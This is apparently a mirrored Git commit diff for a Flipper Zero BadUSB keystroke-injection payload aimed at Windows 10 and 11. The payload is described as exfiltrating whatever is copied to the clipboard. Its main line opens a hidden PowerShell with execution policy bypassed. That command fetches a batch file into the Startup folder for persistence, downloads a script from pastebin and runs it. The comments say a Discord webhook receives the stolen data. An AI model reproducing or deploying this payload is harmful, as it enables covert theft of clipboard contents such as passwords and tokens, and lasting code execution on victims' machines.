mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2024-12-22 14:30:21 +00:00
commit
488107000b
@ -7,11 +7,11 @@ REM Description: This payload is meant to exfiltrate whatever is copied to t
|
|||||||
REM Target: Windows 10, 11
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
DELAY 2000
|
DELAY 2000
|
||||||
GUI
|
GUI r
|
||||||
DELAY
|
DELAY 200
|
||||||
STRING powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1""
|
STRING powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1""
|
||||||
ENTER
|
ENTER
|
||||||
|
|
||||||
REM Remember to replace the link with your pastebin shared link for the intended files to download
|
REM Remember to replace the link with your pastebin shared link for the intended files to download
|
||||||
REM Also remember to put in your discord webhook in c.ps1
|
REM Also remember to put in your discord webhook in c.ps1
|
||||||
REM For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH
|
REM For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH
|
||||||
|
Loading…
Reference in New Issue
Block a user